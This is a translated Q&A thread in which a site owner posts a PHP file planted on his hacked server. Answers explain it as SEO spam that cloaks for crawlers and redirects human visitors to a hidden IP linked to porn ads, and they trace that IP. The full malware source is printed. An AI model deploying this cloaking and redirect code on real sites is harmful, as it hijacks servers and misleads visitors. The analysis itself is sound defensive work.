web-dev-qa-db-fra.com

PHP malware sur le serveur - mais impuissant à identifier le code malveillant

Je suis nouveau dans cette communauté, alors pardonnez-moi si ma question est stupide.

J'ai découvert que mon serveur avait été piraté et j'ai trouvé plusieurs fichiers PHP dessus).

Je n'ai pas été paresseux et j'ai fait de mon mieux pour détecter ce que le fichier faisait réellement, mais je ne comprends vraiment pas quel est le but de celui-ci.

Un fichier PHP est:

<?php



$user_agent_to_filter = array( '#Ask\s*Jeeves#i', '#HP\s*Web\s*PrintSmart#i', '#HTTrack#i', '#IDBot#i', '#Indy\s*Library#',

                               '#ListChecker#i', '#MSIECrawler#i', '#NetCache#i', '#Nutch#i', '#RPT-HTTPClient#i',

                               '#rulinki\.ru#i', '#Twiceler#i', '#WebAlta#i', '#Webster\s*Pro#i','#www\.cys\.ru#i',

                               '#Wysigot#i', '#Yahoo!\s*Slurp#i', '#Yeti#i', '#Accoona#i', '#CazoodleBot#i',

                               '#CFNetwork#i', '#ConveraCrawler#i','#DISCo#i', '#Download\s*Master#i', '#FAST\s*MetaWeb\s*Crawler#i',

                               '#Flexum\s*spider#i', '#Gigabot#i', '#HTMLParser#i', '#ia_archiver#i', '#ichiro#i',

                               '#IRLbot#i', '#Java#i', '#km\.ru\s*bot#i', '#kmSearchBot#i', '#libwww-Perl#i',

                               '#Lupa\.ru#i', '#LWP::Simple#i', '#lwp-trivial#i', '#Missigua#i', '#MJ12bot#i',

                               '#msnbot#i', '#msnbot-media#i', '#Offline\s*Explorer#i', '#OmniExplorer_Bot#i',

                               '#PEAR#i', '#psbot#i', '#Python#i', '#rulinki\.ru#i', '#SMILE#i',

                               '#Speedy#i', '#Teleport\s*Pro#i', '#TurtleScanner#i', '#User-Agent#i', '#voyager#i',

                               '#Webalta#i', '#WebCopier#i', '#WebData#i', '#WebZIP#i', '#Wget#i',

                               '#Yandex#i', '#Yanga#i', '#Yeti#i','#msnbot#i',

                               '#spider#i', '#yahoo#i', '#jeeves#i' ,'#google#i' ,'#altavista#i',

                               '#scooter#i' ,'#av\s*fetch#i' ,'#asterias#i' ,'#spiderthread revision#i' ,'#sqworm#i',

                               '#ask#i' ,'#lycos.spider#i' ,'#infoseek sidewinder#i' ,'#ultraseek#i' ,'#polybot#i',

                               '#webcrawler#i', '#robozill#i', '#gulliver#i', '#architextspider#i', '#yahoo!\s*Slurp#i',

                               '#charlotte#i', '#ngb#i', '#BingBot#i' ) ;



if ( !empty( $_SERVER['HTTP_USER_AGENT'] ) && ( FALSE !== strpos( preg_replace( $user_agent_to_filter, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT'] ), '-NO-WAY-' ) ) ){

    $isbot = 1;

    }



if( FALSE !== strpos( gethostbyaddr($_SERVER['REMOTE_ADDR']), 'google')) 

{

    $isbot = 1;

}



$adr1 = ".....................................";

$adr2 = ".";

$adr3 = "...................................................................................................................................................................................................................";

$adr4 = "..............................................................................................................................................................................................................";

$ard = strlen($adr1).".".strlen($adr2).".".strlen($adr3).".".strlen($adr4);



if ($isbot)

{



    $myname  = basename($_SERVER['SCRIPT_NAME'], ".php");   

    if (file_exists($myname))

    {

    $html = file($myname);

    $html = implode($html, "");

    echo $html;

    exit;

    }



    //if (!strpos($_SERVER['HTTP_USER_AGENT'], "google")) exit;



    while($tpl == 0)

    {

$tpl_n = Rand(1,9);

$tpl = @file("tpl$tpl_n.html");

    }



$keyword = "1 euro terno su tutte vincita
";

$keyword = chop($keyword);

$relink = "<UL></UL>";







 $query_pars = $keyword;

 $query_pars_2 = str_replace(" ", "+", chop($query_pars));



for ($page=1;$page<3;$page++)

{

 $ch = curl_init();  

curl_setopt($ch, CURLOPT_URL, "http://www.ask.com/web?q=$query_pars_2&qsrc=11&adt=1&o=0&l=dir&page=$page"); 

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 

curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.6) Gecko/20060928 Firefox/1.5.0.6');

$result = curl_exec($ch); 

curl_close($ch);



$result = str_replace("\r\n", "", $result);

$result = str_replace("\n", "", $result);



        preg_match_all ("#web-result-description\">(.*)</p></div>#iU",$result,$m);

        foreach ($m[1] as $a) $text .= $a;



}       





         $mas1 = array("1", "2", "3", "4", "5");

    $mas2 = array("11-20", "21-30", "31-40", "41-50", "51-60");

    $setmktBing = "US";

    $lang = "US";





$ch = curl_init();  

curl_setopt($ch, CURLOPT_URL, "http://search.yahoo.com/search?p=$query_pars_2"); 

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 

curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.6) Gecko/20060928 Firefox/1.5.0.6');

$result = curl_exec($ch); 

curl_close($ch);

        preg_match_all ("#<p class=\"lh-17\">(.*)</p></div>#iU",$result,$m);

        foreach ($m[1] as $a) $text .= $a;  



    //  echo $result;

    //  exit;



    sleep(1);



foreach ($mas1 as $var=>$key)

{       

        $link = "";

        preg_match_all ("#<strong>$key</strong><a href=\"(.*)\" title=\"Results $mas2[$var]\"#iU",$result,$mm);

        $link = str_replace('<strong>'.$key.'</strong><a href="', "", $mm[0][0]);

        $link = str_replace('" title="Results '.$mas2[$var].'"', "", $link);

        if (strlen($link)<5) continue;

$ch = curl_init();  

curl_setopt($ch, CURLOPT_URL, "$link"); 

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 

curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.6) Gecko/20060928 Firefox/1.5.0.6');

$result = curl_exec($ch); 

curl_close($ch);

        preg_match_all ("#<p class=\"lh-17\">(.*)</p></div>#iU",$result,$m);

        foreach ($m[1] as $a) $text .= $a;  



    sleep(1);

        }



        $ch = curl_init();  

curl_setopt($ch, CURLOPT_URL, "https://www.google.com/search?q=$query_pars_2&num=100&newwindow=1&source=lnt&tbs=qdr:d&sa=X"); 

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 

//curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.6) Gecko/20060928 Firefox/1.5.0.6');

$result = curl_exec($ch); 

curl_close($ch);



$result = str_replace("\r\n", "", $result);

$result = str_replace("\n", "", $result);



//echo $result;



        preg_match_all ("#<span class=\"st\">(.*)</span>#iU",$result,$m);

        foreach ($m[1] as $a) $text .= $a;



                $text = str_replace("...", "", $text);

        $text = strip_tags($text); 

        $text = str_replace("  ", " ", $text);

        $text = str_replace("  ", " ", $text);

        $text = str_replace("  ", " ", $text);

        $text = str_replace("  ", " ", $text);

        $text = str_replace("  ", " ", $text);

        $text = str_replace("  ", " ", $text);

        $text = str_replace("  ", " ", $text);



        $text = explode(".", $text);



        shuffle($text);

            $text = array_unique($text);

        $text = implode(". ", $text);



        $html = implode ("\n", $tpl);

        $html = str_replace("[BKEYWORD]", $keyword, $html);

        $html = str_replace("[LINKS]", $relink, $html);

        $html = str_replace("[SNIPPETS]", $text, $html);



        $out = fopen($myname, "w");

        fwrite($out, $html);

        fclose($out);



        echo $html;



}   



if(!@$isbot)

{





$s = dirname($_SERVER['PHP_SELF']);

if ($s == '\\' | $s == '/') {$s = ('');}  

$s = $_SERVER['SERVER_NAME'] . $s;



header("Location: http://$ard/input/?mark=20160624-$s");

//header("Location: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx");

exit;

}



?>

À ma connaissance, le code fait ce qui suit:

1) Vérifiez s'il est exécuté par un bot - si c'est le cas, terminez

2) Déchiffrez l'IP cachée

3) créer un terme de recherche d'une manière très inutile?

4) Faites trois demandes de recherche de boucles à Yahoo, Google et Ask.com

5) obtenir les données de ces demandes de recherche, ne prendre que certaines informations

6) écrire ces informations dans un fichier?

Dans ma meilleure compréhension, c'est ce que fait le programme, mais je ne comprends pas le mal? Pourquoi est-ce que quelqu'un passerait par les tracas pour trouver un site Web pour se faufiler dessus? ou est-ce que je manque quelque chose de critique dans ce script?

Merci pour votre aide!

19
Tom

(Je n'ai pas passé en revue le code, je spécule parce que votre description correspond au modus de certains logiciels malveillants que j'ai vus dans le passé.)

C'est probablement un bot qui essaie de créer un réseau de backlinks vers un groupe connu d'actifs Web.

Fondamentalement, ils trouvent un site vulnérable et le font apparaître. À partir de là, le script effectue une recherche pour trouver quels actifs de l'attaquant se classent actuellement le plus haut (ou le plus bas) et n'ont pas été pénalisés par Google/et al. encore.

Ils font la promotion de leurs actifs en implantant les meilleurs mots clés et liens vers ces sites dans un document HTML qui est diffusé depuis votre domaine. Maintenant, lorsque Google indexe votre site, ils voient que vous approuvez leurs sites et ils se classent encore plus haut dans les résultats de recherche.

C'est assez intelligent.

C'est toxique pour vous, car lorsque Google pénalise les fermes de spam, il pénalise également les sites qui y sont liés. Votre référencement prendra probablement un coup si/quand le jour du jugement viendra. Corrigez ce problème dès que possible.

30
Ivan

Eh bien, je vais vous donner plus de détails:

Remarque, ce n'est pas un malware qui essaie de pénétrer plus profondément votre système, c'est un script qui fait que quelqu'un (italien je suppose) gagne de l'argent en utilisant votre serveur de 2 manières (à vos frais):

  • Si c'est un bot (un bot de recherche) qui fait la requête, il effectuera quelques requêtes faisant la promotion du mot-clé: "1 euro terno su tutte vincita" et il imprimera une série de mots extraits de Les resultats. Ils sont donc promouvant certains sites de loto à partir de l'adresse IP de votre serveur.

Ce sont les URL de base:

# https://www.google.com/search?q=1 euro terno su tutte vincita&num=100&newwindow=1&source=lnt&tbs=qdr:d&sa=X
# http://search.yahoo.com/search?p=1 euro terno su tutte vincita
# http://www.ask.com/web?q=1 euro terno su tutte vincita&qsrc=11&adt=1&o=0&l=dir&page=$page
  • Si ce n'est pas un bot, si c'est un bon agent utilisateur, le script redirigera le navigateur de l'utilisateur vers un autre serveur compromis, mais cette fois vers un réseau publicitaire porno.

Thers une IP cachée dans le script (dans les points):

  • IP: 37.1.211.206
  • PAYS: US (USA)


$adr1 = ".....................................";
$adr2 = ".";
$adr3 = "...................................................................................................................................................................................................................";
$adr4 = "..............................................................................................................................................................................................................";
// get it from the lenght of the strings, not the best way to hidde something ^^
$ard = strlen($adr1) . "." . strlen($adr2) . "." . strlen($adr3) . "." . strlen($adr4);
// echo $ard;

Et l'autre partie vient de joindre les chaînes et de faire cette demande: http://37.1.211.206/input/?mark=20160624-(SERVER_NAME)

if (!@$isbot) {
    $s = dirname($_SERVER['PHP_SELF']);
    if ($s == '\\' | $s == '/') {
        $s = ('');
    }
    $s = $_SERVER['SERVER_NAME'] . $s;
    header("Location: http://$ard/input/?mark=20160624-$s");
    exit;
}

À la fin, le serveur à 37.1.211.206 Enregistrera l'ID de votre serveur et vous redirigera vers un serveur de publicité porno aléatoire.

14
jmingov

Utilisez l'adresse IP pour servir la justice sur ce script kiddy.

Un traceroute vers son adresse IP à partir d'ici (sauts locaux supprimés):

  3    17 ms    17 ms    17 ms  be4066.ccr22.yyz02.atlas.cogentco.com [38.122.69.117]
  4    23 ms    24 ms    23 ms  be2994.ccr22.cle04.atlas.cogentco.com [154.54.31.233]
  5    31 ms    30 ms    31 ms  be2718.ccr42.ord01.atlas.cogentco.com [154.54.7.129]
  6    32 ms    31 ms    31 ms  be2248.ccr22.ord03.atlas.cogentco.com [154.54.5.158]
  7    32 ms    32 ms    32 ms  be2617.rcr12.b002281-5.ord03.atlas.cogentco.com [154.54.40.94]
  8    31 ms    37 ms    31 ms  38.122.181.114
  9    31 ms    33 ms    31 ms  37.1.209.2
 10    32 ms    32 ms    31 ms  37.1.211.206

La recherche DNS inversée sur les 3 derniers hôtes ne révèle rien de plus directement, sauf si vous vérifiez l'ensemble des sous-réseaux:

38.122.181.113  te0-0-0-2.rcr12.b002281-5.ord03.atlas.cogentco.com

Le sous-réseau semble être des points de terminaison client pour le FAI de Cogent Communications. Si nous analysons rapidement le serveur du serveur de l'attaquant, nous ne voyons que 22/ssh et 80/http ouverts. Cela suggère fortement une boîte Linux ou un routeur. La page Web sur le serveur semble être la nouvelle page d'installation d'Apache. Aller au script dans le code redirige d'abord vers le domaine hstraffa.com, puis vers un site porno tiers. Un rapide aperçu de la présence sociale de hstraffa.com révèle seulement 2 google + likes. En voici un (AVERTISSEMENT: contenu graphique minimal mais présent) https://plus.google.com/105307781761317547299 et un autre: https://plus.google.com/115324666314038607739 =. Ils semblent être des noms indiens, et un être humain semble être derrière tout cela. Un script kiddie pas très habile essayant de monétiser les publicités pornos.

Je voudrais simplement prendre tout cela, avec vos propres résultats d'enquête (scripts php et journaux de serveur liés à l'incident, et contacter le responsable de la sécurité de Cogent Communications. Laissez-les s'en occuper.

Vous devez cependant nettoyer votre propre côté, et je recommanderais une nouvelle installation du serveur si vous ne pouvez pas comprendre comment ils sont entrés. La prochaine intrusion pourrait ne pas être si bénigne ...

6
Drunken Code Monkey